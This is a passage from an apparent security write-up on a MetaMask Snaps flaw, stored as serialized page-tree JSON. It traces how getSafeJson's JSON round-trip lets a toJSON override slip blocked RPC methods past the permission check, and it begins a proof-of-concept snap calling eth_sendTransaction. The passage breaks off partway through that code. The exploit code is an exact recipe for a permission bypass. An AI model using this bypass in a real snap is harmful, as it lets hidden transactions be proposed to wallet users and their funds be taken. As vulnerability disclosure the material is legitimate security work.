method:",{"type":23,"tag":314,"props":37763,"children":37764},{"style":360},[37765],{"type":28,"value":1331},{"type":23,"tag":314,"props":37767,"children":37768},{"style":338},[37769],{"type":28,"value":282},{"type":23,"tag":314,"props":37771,"children":37772},{"style":360},[37773],{"type":28,"value":37561},{"type":23,"tag":314,"props":37775,"children":37776},{"style":338},[37777],{"type":28,"value":1870},{"type":23,"tag":314,"props":37779,"children":37780},{"class":316,"line":1422},[37781],{"type":23,"tag":314,"props":37782,"children":37783},{"style":338},[37784],{"type":28,"value":36448},{"type":23,"tag":314,"props":37786,"children":37787},{"class":316,"line":1430},[37788],{"type":23,"tag":314,"props":37789,"children":37790},{"style":338},[37791],{"type":28,"value":37792}," }),\n",{"type":23,"tag":314,"props":37794,"children":37795},{"class":316,"line":1452},[37796],{"type":23,"tag":314,"props":37797,"children":37798},{"style":338},[37799],{"type":28,"value":37660},{"type":23,"tag":314,"props":37801,"children":37802},{"class":316,"line":1497},[37803,37808,37812,37816,37820,37825,37829,37834],{"type":23,"tag":314,"props":37804,"children":37805},{"style":332},[37806],{"type":28,"value":37807}," assertStruct",{"type":23,"tag":314,"props":37809,"children":37810},{"style":338},[37811],{"type":28,"value":341},{"type":23,"tag":314,"props":37813,"children":37814},{"style":360},[37815],{"type":28,"value":1991},{"type":23,"tag":314,"props":37817,"children":37818},{"style":338},[37819],{"type":28,"value":778},{"type":23,"tag":314,"props":37821,"children":37822},{"style":360},[37823],{"type":28,"value":37824},"JsonStruct",{"type":23,"tag":314,"props":37826,"children":37827},{"style":338},[37828],{"type":28,"value":778},{"type":23,"tag":314,"props":37830,"children":37831},{"style":1245},[37832],{"type":28,"value":37833},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":314,"props":37835,"children":37836},{"style":338},[37837],{"type":28,"value":1025},{"type":23,"tag":314,"props":37839,"children":37840},{"class":316,"line":1539},[37841],{"type":23,"tag":314,"props":37842,"children":37843},{"style":338},[37844],{"type":28,"value":386},{"type":23,"tag":24,"props":37846,"children":37847},{},[37848,37850,37855,37857,37863,37864,37870],{"type":28,"value":37849},"This function is called by the ",{"type":23,"tag":94,"props":37851,"children":37853},{"className":37852},[],[37854],{"type":28,"value":37427},{"type":28,"value":37856}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":94,"props":37858,"children":37860},{"className":37859},[],[37861],{"type":28,"value":37862},"wallet_",{"type":28,"value":515},{"type":23,"tag":94,"props":37865,"children":37867},{"className":37866},[],[37868],{"type":28,"value":37869},"snap_",{"type":28,"value":37871},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":24,"props":37873,"children":37874},{},[37875,37877,37882,37884,37889,37891,37897],{"type":28,"value":37876},"On the other hand, the ",{"type":23,"tag":94,"props":37878,"children":37880},{"className":37879},[],[37881],{"type":28,"value":30665},{"type":28,"value":37883}," provider only blocks methods starting with ",{"type":23,"tag":94,"props":37885,"children":37887},{"className":37886},[],[37888],{"type":28,"value":37869},{"type":28,"value":37890}," and the blocked methods. However, it requires the ",{"type":23,"tag":94,"props":37892,"children":37894},{"className":37893},[],[37895],{"type":28,"value":37896},"endowment:ethereum-provider",{"type":28,"value":37898}," permission in the snap manifest.",{"type":23,"tag":18130,"props":37900,"children":37902},{"id":37901},"execution-flow",[37903],{"type":28,"value":37904},"Execution flow",{"type":23,"tag":24,"props":37906,"children":37907},{},[37908,37910,37915,37916,37921,37923,37928,37929,37935],{"type":28,"value":37909},"Both providers (",{"type":23,"tag":94,"props":37911,"children":37913},{"className":37912},[],[37914],{"type":28,"value":37427},{"type":28,"value":557},{"type":23,"tag":94,"props":37917,"children":37919},{"className":37918},[],[37920],{"type":28,"value":30665},{"type":28,"value":37922},") are built outside the SES container with a ",{"type":23,"tag":94,"props":37924,"children":37926},{"className":37925},[],[37927],{"type":28,"value":30741},{"type":28,"value":5713},{"type":23,"tag":31,"props":37930,"children":37933},{"href":37931,"rel":37932},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[35],[37934],{"type":28,"value":30625},{"type":28,"value":3746},{"type":23,"tag":304,"props":37937,"children":37939},{"className":35179,"code":37938,"language":35181,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[37940],{"type":23,"tag":94,"props":37941,"children":37942},{"__ignoreMap":7},[37943,37990,38015,38048,38083,38095,38115,38153,38173,38180,38197,38230,38237],{"type":23,"tag":314,"props":37944,"children":37945},{"class":316,"line":317},[37946,37950,37954,37958,37962,37966,37970,37974,37978,37982,37986],{"type":23,"tag":314,"props":37947,"children":37948},{"style":321},[37949],{"type":28,"value":35437},{"type":23,"tag":314,"props":37951,"children":37952},{"style":332},[37953],{"type":28,"value":30630},{"type":23,"tag":314,"props":37955,"children":37956},{"style":354},[37957],{"type":28,"value":1237},{"type":23,"tag":314,"props":37959,"children":37960},{"style":321},[37961],{"type":28,"value":35614},{"type":23,"tag":314,"props":37963,"children":37964},{"style":338},[37965],{"type":28,"value":2324},{"type":23,"tag":314,"props":37967,"children":37968},{"style":360},[37969],{"type":28,"value":1991},{"type":23,"tag":314,"props":37971,"children":37972},{"style":354},[37973],{"type":28,"value":3746},{"type":23,"tag":314,"props":37975,"children":37976},{"style":2674},[37977],{"type":28,"value":37485},{"type":23,"tag":314,"props":37979,"children":37980},{"style":338},[37981],{"type":28,"value":2343},{"type":23,"tag":314,"props":37983,"children":37984},{"style":321},[37985],{"type":28,"value":14064},{"type":23,"tag":314,"props":37987,"children":37988},{"style":338},[37989],{"type":28,"value":1449},{"type":23,"tag":314,"props":37991,"children":37992},{"class":316,"line":370},[37993,37998,38002,38006,38010],{"type":23,"tag":314,"props":37994,"children":37995},{"style":332},[37996],{"type":28,"value":37997}," assertSnapOutboundRequest",{"type":23,"tag":314,"props":37999,"children":38000},{"style":338},[38001],{"type":28,"value":341},{"type":23,"tag":314,"props":38003,"children":38004},{"style":360},[38005],{"type":28,"value":1991},{"type":23,"tag":314,"props":38007,"children":38008},{"style":338},[38009],{"type":28,"value":27600},{"type":23,"tag":314,"props":38011,"children":38012},{"style":374},[38013],{"type":28,"value":38014},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":314,"props":38016,"children":38017},{"class":316,"line":380},[38018,38022,38027,38031,38036,38040,38044],{"type":23,"tag":314,"props":38019,"children":38020},{"style":321},[38021],{"type":28,"value":30795},{"type":23,"tag":314,"props":38023,"children":38024},{"style":360},[38025],{"type":28,"value":38026}," sanitizedArgs",{"type":23,"tag":314,"props":38028,"children":38029},{"style":354},[38030],{"type":28,"value":1237},{"type":23,"tag":314,"props":38032,"children":38033},{"style":332},[38034],{"type":28,"value":38035}," getSafeJson",{"type":23,"tag":314,"props":38037,"children":38038},{"style":338},[38039],{"type":28,"value":341},{"type":23,"tag":314,"props":38041,"children":38042},{"style":360},[38043],{"type":28,"value":1991},{"type":23,"tag":314,"props":38045,"children":38046},{"style":338},[38047],{"type":28,"value":1025},{"type":23,"tag":314,"props":38049,"children":38050},{"class":316,"line":1091},[38051,38056,38060,38065,38069,38073,38078],{"type":23,"tag":314,"props":38052,"children":38053},{"style":321},[38054],{"type":28,"value":38055}," this",{"type":23,"tag":314,"props":38057,"children":38058},{"style":338},[38059],{"type":28,"value":282},{"type":23,"tag":314,"props":38061,"children":38062},{"style":332},[38063],{"type":28,"value":38064},"notify",{"type":23,"tag":314,"props":38066,"children":38067},{"style":338},[38068],{"type":28,"value":30746},{"type":23,"tag":314,"props":38070,"children":38071},{"style":360},[38072],{"type":28,"value":30751},{"type":23,"tag":314,"props":38074,"children":38075},{"style":1245},[38076],{"type":28,"value":38077}," 'OutboundRequest'",{"type":23,"tag":314,"props":38079,"children":38080},{"style":338},[38081],{"type":28,"value":38082}," });\n",{"type":23,"tag":314,"props":38084,"children":38085},{"class":316,"line":1141},[38086,38091],{"type":23,"tag":314,"props":38087,"children":38088},{"style":2284},[38089],{"type":28,"value":38090}," try",{"type":23,"tag":314,"props":38092,"children":38093},{"style":338},[38094],{"type":28,"value":1449},{"type":23,"tag":314,"props":38096,"children":38097},{"class":316,"line":1173},[38098,38102,38106,38111],{"type":23,"tag":314,"props":38099,"children":38100},{"style":2284},[38101],{"type":28,"value":14985},{"type":23,"tag":314,"props":38103,"children":38104},{"style":2284},[38105],{"type":28,"value":35460},{"type":23,"tag":314,"props":38107,"children":38108},{"style":332},[38109],{"type":28,"value":38110}," withTeardown",{"type":23,"tag":314,"props":38112,"children":38113},{"style":338},[38114],{"type":28,"value":2719},{"type":23,"tag":314,"props":38116,"children":38117},{"class":316,"line":1208},[38118,38123,38127,38132,38136,38141,38145,38149],{"type":23,"tag":314,"props":38119,"children":38120},{"style":332},[38121],{"type":28,"value":38122}," originalRequest",{"type":23,"tag":314,"props":38124,"children":38125},{"style":338},[38126],{"type":28,"value":341},{"type":23,"tag":314,"props":38128,"children":38129},{"style":360},[38130],{"type":28,"value":38131},"sanitizedArgs",{"type":23,"tag":314,"props":38133,"children":38134},{"style":2284},[38135],{"type":28,"value":8080},{"type":23,"tag":314,"props":38137,"children":38138},{"style":2674},[38139],{"type":28,"value":38140}," unknown",{"type":23,"tag":314,"props":38142,"children":38143},{"style":2284},[38144],{"type":28,"value":8080},{"type":23,"tag":314,"props":38146,"children":38147},{"style":2674},[38148],{"type":28,"value":37485},{"type":23,"tag":314,"props":38150,"children":38151},{"style":338},[38152],{"type":28,"value":5992},{"type":23,"tag":314,"props":38154,"children":38155},{"class":316,"line":1216},[38156,38161,38165,38169],{"type":23,"tag":314,"props":38157,"children":38158},{"style":321},[38159],{"type":28,"value":38160}," this",{"type":23,"tag":314,"props":38162,"children":38163},{"style":2284},[38164],{"type":28,"value":8080},{"type":23,"tag":314,"props":38166,"children":38167},{"style":2674},[38168],{"type":28,"value":9606},{"type":23,"tag":314,"props":38170,"children":38171},{"style":338},[38172],{"type":28,"value":1870},{"type":23,"tag":314,"props":38174,"children":38175},{"class":316,"line":1301},[38176],{"type":23,"tag":314,"props":38177,"children":38178},{"style":338},[38179],{"type":28,"value":6998},{"type":23,"tag":314,"props":38181,"children":38182},{"class":316,"line":1343},[38183,38188,38193],{"type":23,"tag":314,"props":38184,"children":38185},{"style":338},[38186],{"type":28,"value":38187}," } ",{"type":23,"tag":314,"props":38189,"children":38190},{"style":2284},[38191],{"type":28,"value":38192},"finally",{"type":23,"tag":314,"props":38194,"children":38195},{"style":338},[38196],{"type":28,"value":1449},{"type":23,"tag":314,"props":38198,"children":38199},{"class":316,"line":1351},[38200,38205,38209,38213,38217,38221,38226],{"type":23,"tag":314,"props":38201,"children":38202},{"style":321},[38203],{"type":28,"value":38204}," this",{"type":23,"tag":314,"props":38206,"children":38207},{"style":338},[38208],{"type":28,"value":282},{"type":23,"tag":314,"props":38210,"children":38211},{"style":332},[38212],{"type":28,"value":38064},{"type":23,"tag":314,"props":38214,"children":38215},{"style":338},[38216],{"type":28,"value":30746},{"type":23,"tag":314,"props":38218,"children":38219},{"style":360},[38220],{"type":28,"value":30751},{"type":23,"tag":314,"props":38222,"children":38223},{"style":1245},[38224],{"type":28,"value":38225}," 'OutboundResponse'",{"type":23,"tag":314,"props":38227,"children":38228},{"style":338},[38229],{"type":28,"value":38082},{"type":23,"tag":314,"props":38231,"children":38232},{"class":316,"line":1387},[38233],{"type":23,"tag":314,"props":38234,"children":38235},{"style":338},[38236],{"type":28,"value":11912},{"type":23,"tag":314,"props":38238,"children":38239},{"class":316,"line":1422},[38240],{"type":23,"tag":314,"props":38241,"children":38242},{"style":338},[38243],{"type":28,"value":38244}," };\n",{"type":23,"tag":24,"props":38246,"children":38247},{},[38248,38250,38255,38257,38262],{"type":28,"value":38249},"In particular, this function is from the ",{"type":23,"tag":94,"props":38251,"children":38253},{"className":38252},[],[38254],{"type":28,"value":37427},{"type":28,"value":38256}," provider, but the only thing that changes between this and ",{"type":23,"tag":94,"props":38258,"children":38260},{"className":38259},[],[38261],{"type":28,"value":30665},{"type":28,"value":38263}," is the assert function in the first line.",{"type":23,"tag":24,"props":38265,"children":38266},{},[38267],{"type":28,"value":38268},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":84,"props":38270,"children":38271},{},[38272,38284,38289],{"type":23,"tag":88,"props":38273,"children":38274},{},[38275,38277,38282],{"type":28,"value":38276},"Assert if ",{"type":23,"tag":94,"props":38278,"children":38280},{"className":38279},[],[38281],{"type":28,"value":1991},{"type":28,"value":38283}," are valid",{"type":23,"tag":88,"props":38285,"children":38286},{},[38287],{"type":28,"value":38288},"getSafeJson to get sanitizedArgs",{"type":23,"tag":88,"props":38290,"children":38291},{},[38292],{"type":28,"value":38293},"originalRequest(sanitizedArgs)",{"type":23,"tag":24,"props":38295,"children":38296},{},[38297,38299,38305],{"type":28,"value":38298},"Obs: ",{"type":23,"tag":94,"props":38300,"children":38302},{"className":38301},[],[38303],{"type":28,"value":38304},"originalRequest",{"type":28,"value":38306}," makes the RPC call to metamask service worker",{"type":23,"tag":837,"props":38308,"children":38310},{"id":38309},"safe-json-exploit",[38311],{"type":28,"value":38312},"Safe JSON Exploit",{"type":23,"tag":24,"props":38314,"children":38315},{},[38316,38318,38324,38326,38331,38333,38339],{"type":28,"value":38317},"As we dug further into the",{"type":23,"tag":94,"props":38319,"children":38321},{"className":38320},[],[38322],{"type":28,"value":38323},"getSafeJson",{"type":28,"value":38325}," function (defined in ",{"type":23,"tag":94,"props":38327,"children":38329},{"className":38328},[],[38330],{"type":28,"value":36545},{"type":28,"value":38332}," package) we discovered the following ",{"type":23,"tag":31,"props":38334,"children":38337},{"href":38335,"rel":38336},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[35],[38338],{"type":28,"value":94},{"type":28,"value":3746},{"type":23,"tag":304,"props":38341,"children":38343},{"className":34862,"code":38342,"language":34864,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[38344],{"type":23,"tag":94,"props":38345,"children":38346},{"__ignoreMap":7},[38347,38412,38439,38464,38519,38527,38574,38590,38597,38614,38621,38628],{"type":23,"tag":314,"props":38348,"children":38349},{"class":316,"line":317},[38350,38354,38359,38364,38368,38373,38377,38382,38386,38390,38395,38400,38404,38408],{"type":23,"tag":314,"props":38351,"children":38352},{"style":2284},[38353],{"type":28,"value":37458},{"type":23,"tag":314,"props":38355,"children":38356},{"style":321},[38357],{"type":28,"value":38358}," const",{"type":23,"tag":314,"props":38360,"children":38361},{"style":360},[38362],{"type":28,"value":38363}," JsonStruct",{"type":23,"tag":314,"props":38365,"children":38366},{"style":354},[38367],{"type":28,"value":1237},{"type":23,"tag":314,"props":38369,"children":38370},{"style":332},[38371],{"type":28,"value":38372}," coerce",{"type":23,"tag":314,"props":38374,"children":38375},{"style":338},[38376],{"type":28,"value":341},{"type":23,"tag":314,"props":38378,"children":38379},{"style":360},[38380],{"type":28,"value":38381},"UnsafeJsonStruct",{"type":23,"tag":314,"props":38383,"children":38384},{"style":338},[38385],{"type":28,"value":778},{"type":23,"tag":314,"props":38387,"children":38388},{"style":332},[38389],{"type":28,"value":15952},{"type":23,"tag":314,"props":38391,"children":38392},{"style":338},[38393],{"type":28,"value":38394},"(), (",{"type":23,"tag":314,"props":38396,"children":38397},{"style":360},[38398],{"type":28,"value":38399},"value",{"type":23,"tag":314,"props":38401,"children":38402},{"style":338},[38403],{"type":28,"value":2343},{"type":23,"tag":314,"props":38405,"children":38406},{"style":321},[38407],{"type":28,"value":14064},{"type":23,"tag":314,"props":38409,"children":38410},{"style":338},[38411],{"type":28,"value":1449},{"type":23,"tag":314,"props":38413,"children":38414},{"class":316,"line":370},[38415,38419,38423,38427,38431,38435],{"type":23,"tag":314,"props":38416,"children":38417},{"style":332},[38418],{"type":28,"value":37807},{"type":23,"tag":314,"props":38420,"children":38421},{"style":338},[38422],{"type":28,"value":341},{"type":23,"tag":314,"props":38424,"children":38425},{"style":360},[38426],{"type":28,"value":38399},{"type":23,"tag":314,"props":38428,"children":38429},{"style":338},[38430],{"type":28,"value":778},{"type":23,"tag":314,"props":38432,"children":38433},{"style":360},[38434],{"type":28,"value":38381},{"type":23,"tag":314,"props":38436,"children":38437},{"style":338},[38438],{"type":28,"value":1025},{"type":23,"tag":314,"props":38440,"children":38441},{"class":316,"line":380},[38442,38447,38451,38455,38460],{"type":23,"tag":314,"props":38443,"children":38444},{"style":2284},[38445],{"type":28,"value":38446}," return",{"type":23,"tag":314,"props":38448,"children":38449},{"style":360},[38450],{"type":28,"value":36777},{"type":23,"tag":314,"props":38452,"children":38453},{"style":338},[38454],{"type":28,"value":282},{"type":23,"tag":314,"props":38456,"children":38457},{"style":332},[38458],{"type":28,"value":38459},"parse",{"type":23,"tag":314,"props":38461,"children":38462},{"style":338},[38463],{"type":28,"value":2719},{"type":23,"tag":314,"props":38465,"children":38466},{"class":316,"line":1091},[38467,38472,38476,38481,38485,38489,38493,38498,38502,38507,38511,38515],{"type":23,"tag":314,"props":38468,"children":38469},{"style":360},[38470],{"type":28,"value":38471}," JSON",{"type":23,"tag":314,"props":38473,"children":38474},{"style":338},[38475],{"type":28,"value":282},{"type":23,"tag":314,"props":38477,"children":38478},{"style":332},[38479],{"type":28,"value":38480},"stringify",{"type":23,"tag":314,"props":38482,"children":38483},{"style":338},[38484],{"type":28,"value":341},{"type":23,"tag":314,"props":38486,"children":38487},{"style":360},[38488],{"type":28,"value":38399},{"type":23,"tag":314,"props":38490,"children":38491},{"style":338},[38492],{"type":28,"value":8071},{"type":23,"tag":314,"props":38494,"children":38495},{"style":360},[38496],{"type":28,"value":38497},"propKey",{"type":23,"tag":314,"props":38499,"children":38500},{"style":338},[38501],{"type":28,"value":778},{"type":23,"tag":314,"props":38503,"children":38504},{"style":360},[38505],{"type":28,"value":38506},"propValue",{"type":23,"tag":314,"props":38508,"children":38509},{"style":338},[38510],{"type":28,"value":2343},{"type":23,"tag":314,"props":38512,"children":38513},{"style":321},[38514],{"type":28,"value":14064},{"type":23,"tag":314,"props":38516,"children":38517},{"style":338},[38518],{"type":28,"value":1449},{"type":23,"tag":314,"props":38520,"children":38521},{"class":316,"line":1141},[38522],{"type":23,"tag":314,"props":38523,"children":38524},{"style":374},[38525],{"type":28,"value":38526}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":314,"props":38528,"children":38529},{"class":316,"line":1173},[38530,38535,38539,38543,38547,38552,38556,38561,38565,38570],{"type":23,"tag":314,"props":38531,"children":38532},{"style":2284},[38533],{"type":28,"value":38534}," if",{"type":23,"tag":314,"props":38536,"children":38537},{"style":338},[38538],{"type":28,"value":2324},{"type":23,"tag":314,"props":38540,"children":38541},{"style":360},[38542],{"type":28,"value":38497},{"type":23,"tag":314,"props":38544,"children":38545},{"style":354},[38546],{"type":28,"value":30670},{"type":23,"tag":314,"props":38548,"children":38549},{"style":1245},[38550],{"type":28,"value":38551}," '__proto__'",{"type":23,"tag":314,"props":38553,"children":38554},{"style":354},[38555],{"type":28,"value":22942},{"type":23,"tag":314,"props":38557,"children":38558},{"style":360},[38559],{"type":28,"value":38560}," propKey",{"type":23,"tag":314,"props":38562,"children":38563},{"style":354},[38564],{"type":28,"value":30670},{"type":23,"tag":314,"props":38566,"children":38567},{"style":1245},[38568],{"type":28,"value":38569}," 'constructor'",{"type":23,"tag":314,"props":38571,"children":38572},{"style":338},[38573],{"type":28,"value":367},{"type":23,"tag":314,"props":38575,"children":38576},{"class":316,"line":1208},[38577,38581,38586],{"type":23,"tag":314,"props":38578,"children":38579},{"style":2284},[38580],{"type":28,"value":14985},{"type":23,"tag":314,"props":38582,"children":38583},{"style":321},[38584],{"type":28,"value":38585}," undefined",{"type":23,"tag":314,"props":38587,"children":38588},{"style":338},[38589],{"type":28,"value":2278},{"type":23,"tag":314,"props":38591,"children":38592},{"class":316,"line":1216},[38593],{"type":23,"tag":314,"props":38594,"children":38595},{"style":338},[38596],{"type":28,"value":11912},{"type":23,"tag":314,"props":38598,"children":38599},{"class":316,"line":1301},[38600,38605,38610],{"type":23,"tag":314,"props":38601,"children":38602},{"style":2284},[38603],{"type":28,"value":38604}," return",{"type":23,"tag":314,"props":38606,"children":38607},{"style":360},[38608],{"type":28,"value":38609}," propValue",{"type":23,"tag":314,"props":38611,"children":38612},{"style":338},[38613],{"type":28,"value":2278},{"type":23,"tag":314,"props":38615,"children":38616},{"class":316,"line":1343},[38617],{"type":23,"tag":314,"props":38618,"children":38619},{"style":338},[38620],{"type":28,"value":37792},{"type":23,"tag":314,"props":38622,"children":38623},{"class":316,"line":1351},[38624],{"type":23,"tag":314,"props":38625,"children":38626},{"style":338},[38627],{"type":28,"value":37660},{"type":23,"tag":314,"props":38629,"children":38630},{"class":316,"line":1387},[38631],{"type":23,"tag":314,"props":38632,"children":38633},{"style":338},[38634],{"type":28,"value":34587},{"type":23,"tag":24,"props":38636,"children":38637},{},[38638,38640,38646,38648,38653,38655,38661,38663,38669],{"type":28,"value":38639},"The function performs a ",{"type":23,"tag":94,"props":38641,"children":38643},{"className":38642},[],[38644],{"type":28,"value":38645},"JSON.parse(JSON.stringify(value))",{"type":28,"value":38647}," in the argument sent to ",{"type":23,"tag":94,"props":38649,"children":38651},{"className":38650},[],[38652],{"type":28,"value":38323},{"type":28,"value":38654},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":94,"props":38656,"children":38658},{"className":38657},[],[38659],{"type":28,"value":38660},"toJSON",{"type":28,"value":38662}," function in a legit ",{"type":23,"tag":94,"props":38664,"children":38666},{"className":38665},[],[38667],{"type":28,"value":38668},"snap.request",{"type":28,"value":38670}," argument:",{"type":23,"tag":84,"props":38672,"children":38673},{},[38674,38679,38684],{"type":23,"tag":88,"props":38675,"children":38676},{},[38677],{"type":28,"value":38678},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":88,"props":38680,"children":38681},{},[38682],{"type":28,"value":38683},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":88,"props":38685,"children":38686},{},[38687],{"type":28,"value":38688},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":24,"props":38690,"children":38691},{},[38692],{"type":28,"value":38693},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":84,"props":38695,"children":38696},{},[38697,38702],{"type":23,"tag":88,"props":38698,"children":38699},{},[38700],{"type":28,"value":38701},"forward blocked RPC methods",{"type":23,"tag":88,"props":38703,"children":38704},{},[38705,38707,38712,38714,38720,38722,38727],{"type":28,"value":38706},"Making requests in ",{"type":23,"tag":94,"props":38708,"children":38710},{"className":38709},[],[38711],{"type":28,"value":38668},{"type":28,"value":38713}," that were only supposed to be done within ",{"type":23,"tag":94,"props":38715,"children":38717},{"className":38716},[],[38718],{"type":28,"value":38719},"ethereum.request",{"type":28,"value":38721}," (with ",{"type":23,"tag":94,"props":38723,"children":38725},{"className":38724},[],[38726],{"type":28,"value":37896},{"type":28,"value":38728}," enabled).",{"type":23,"tag":24,"props":38730,"children":38731},{},[38732],{"type":28,"value":38733},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":837,"props":38735,"children":38736},{"id":4916},[38737],{"type":28,"value":4919},{"type":23,"tag":24,"props":38739,"children":38740},{},[38741],{"type":28,"value":38742},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":24,"props":38744,"children":38745},{},[38746],{"type":23,"tag":197,"props":38747,"children":38749},{"alt":7,"src":38748},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":837,"props":38751,"children":38753},{"id":38752},"proof-of-concept",[38754],{"type":28,"value":34078},{"type":23,"tag":24,"props":38756,"children":38757},{},[38758,38760,38765,38767,38772,38774,38780],{"type":28,"value":38759},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":94,"props":38761,"children":38763},{"className":38762},[],[38764],{"type":28,"value":37896},{"type":28,"value":38766}," permission, and used the ",{"type":23,"tag":94,"props":38768,"children":38770},{"className":38769},[],[38771],{"type":28,"value":37427},{"type":28,"value":38773}," interface to call ",{"type":23,"tag":94,"props":38775,"children":38777},{"className":38776},[],[38778],{"type":28,"value":38779},"eth_sendTransaction",{"type":28,"value":38781},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":304,"props":38783,"children":38785},{"className":34862,"code":38784,"language":34864,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[38786],{"type":23,"tag":94,"props":38787,"children":38788},{"__ignoreMap":7},[38789,38822,38829,38836,38853,38882,38889,38914,38921,38953,38964,38981,38994,39001,39008,39015,39047,39054,39061,39068,39084,39111,39118,39141,39148,39179,39190,39206,39218,39239,39254,39271,39279,39286,39293,39300,39331,39338,39345,39405,39412,39440,39457,39472,39488,39503,39515,39545,39552],{"type":23,"tag":314,"props":38790,"children":38791},{"class":316,"line":317},[38792,38796,38800,38805,38809,38813,38818],{"type":23,"tag":314,"props":38793,"children":38794},{"style":2284},[38795],{"type":28,"value":18721},{"type":23,"tag":314,"props":38797,"children":38798},{"style":338},[38799],{"type":28,"value":1242},{"type":23,"tag":314,"props":38801,"children":38802},{"style":360},[38803],{"type":28,"value":38804},"OnRpcRequestHandler",{"type":23,"tag":314,"props":38806,"children":38807},{"style":338},[38808],{"type":28,"value":35451},{"type":23,"tag":314,"props":38810,"children":38811},{"style":2284},[38812],{"type":28,"value":18711},{"type":23,"tag":314,"props":38814,"children":38815},{"style":1245},[38816],{"type":28,"value":38817}," '@metamask/snaps-types'",{"type":23,"tag":314,"props":38819,"children":38820},{"style":338},[38821],{"type":28,"value":2278},{"type":23,"tag":314,"props":38823,"children":38824},{"class":316,"line":370},[38825],{"type":23,"tag":314,"props":38826,"children":38827},{"emptyLinePlaceholder":18},[38828],{"type":28,"value":1088},{"type":23,"tag":314,"props":38830,"children":38831},{"class":316,"line":380},[38832],{"type":23,"tag":314,"props":38833,"children":38834},{"emptyLinePlaceholder":18},[38835],{"type":28,"value":1088},{"type":23,"tag":314,"props":38837,"children":38838},{"class":316,"line":1091},[38839,38843,38848],{"type":23,"tag":314,"props":38840,"children":38841},{"style":321},[38842],{"type":28,"value":30625},{"type":23,"tag":314,"props":38844,"children":38845},{"style":332},[38846],{"type":28,"value":38847}," jsonExploit",{"type":23,"tag":314,"props":38849,"children":38850},{"style":338},[38851],{"type":28,"value":38852},"(){\n",{"type":23,"tag":314,"props":38854,"children":38855},{"class":316,"line":1141},[38856,38860,38864,38868,38873,38877],{"type":23,"tag":314,"props":38857,"children":38858},{"style":321},[38859],{"type":28,"value":7110},{"type":23,"tag":314,"props":38861,"children":38862},{"style":360},[38863],{"type":28,"value":18303},{"type":23,"tag":314,"props":38865,"children":38866},{"style":354},[38867],{"type":28,"value":1237},{"type":23,"tag":314,"props":38869,"children":38870},{"style":338},[38871],{"type":28,"value":38872}," [] ",{"type":23,"tag":314,"props":38874,"children":38875},{"style":2284},[38876],{"type":28,"value":8094},{"type":23,"tag":314,"props":38878,"children":38879},{"style":2674},[38880],{"type":28,"value":38881}," any\n",{"type":23,"tag":314,"props":38883,"children":38884},{"class":316,"line":1173},[38885],{"type":23,"tag":314,"props":38886,"children":38887},{"emptyLinePlaceholder":18},[38888],{"type":28,"value":1088},{"type":23,"tag":314,"props":38890,"children":38891},{"class":316,"line":1208},[38892,38897,38901,38905,38909],{"type":23,"tag":314,"props":38893,"children":38894},{"style":360},[38895],{"type":28,"value":38896}," x",{"type":23,"tag":314,"props":38898,"children":38899},{"style":338},[38900],{"type":28,"value":282},{"type":23,"tag":314,"props":38902,"children":38903},{"style":360},[38904],{"type":28,"value":37561},{"type":23,"tag":314,"props":38906,"children":38907},{"style":354},[38908],{"type":28,"value":1237},{"type":23,"tag":314,"props":38910,"children":38911},{"style":1245},[38912],{"type":28,"value":38913}," 